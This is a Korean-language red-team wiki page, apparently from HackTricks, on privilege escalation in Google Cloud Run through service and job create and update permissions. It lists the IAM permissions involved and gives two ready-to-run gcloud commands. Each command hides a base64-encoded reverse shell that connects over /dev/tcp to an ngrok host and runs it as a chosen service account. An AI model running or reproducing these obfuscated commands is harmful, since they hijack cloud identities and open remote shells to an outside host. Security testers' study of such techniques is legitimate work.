GCP - Run Privesc

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!

HackTricks를 지원하는 다른 방법:

Cloud Run

Cloud Run에 대한 자세한 정보는 다음을 확인하세요:

pageGCP - Cloud Run Enum

run.services.create, iam.serviceAccounts.actAs, run.routes.invoke

이러한 권한을 가진 공격자는 임의의 코드를 실행하는 run 서비스를 생성하고(임의의 Docker 컨테이너), 서비스 계정을 연결하며 코드를 통해 메타데이터에서 서비스 계정 토큰을 유출할 수 있습니다.

이 방법의 악용 스크립트는 여기에서 찾을 수 있으며 Docker 이미지는 여기에서 찾을 수 있습니다.

gcloud run deploy를 사용할 때는 단순히 서비스를 생성하는 대신 update 권한이 필요합니다. 여기 예제를 확인하세요.

run.services.update, iam.serviceAccounts.actAs

이전과 유사하지만 서비스를 업데이트합니다:

gcloud run deploy hacked \
--image=marketplace.gcr.io/google/ubuntu2004 \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNy50Y3AuZXUubmdyb2suaW8vMTQ4NDEgMD4mMQ== | base64 -d | bash" \
--service-account="<proj-num>-compute@developer.gserviceaccount.com" \
--region=us-central1 \
--allow-unauthenticated

run.services.setIamPolicy

이전 권한을 클라우드 Run에게 부여합니다.

run.jobs.create, run.jobs.run, (run.jobs.get)

역쉘을 실행하여 명령어에 표시된 서비스 계정을 도용하는 작업을 시작합니다. 여기에서 exploit을 찾을 수 있습니다.

run.jobs.update,run.jobs.run,iam.serviceaccounts.actAs,(run.jobs.get)

이전 것과 유사하게 작업을 업데이트하고 SA를 업데이트하고 명령어를 실행할 수 있습니다:

gcloud beta run jobs update hacked \
--image=marketplace.gcr.io/google/ubuntu2004 \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNy50Y3AuZXUubmdyb2suaW8vMTQ4NDEgMD4mMQ== | base64 -d | bash" \
--service-account=<proj-num>-compute@developer.gserviceaccount.com \
--region=us-central1 \
--project=security-devbox --execute-now

run.jobs.setIamPolicy

이전 권한을 사용하여 Cloud Jobs에 대한 권한을 부여하십시오.

참고 자료

最終更新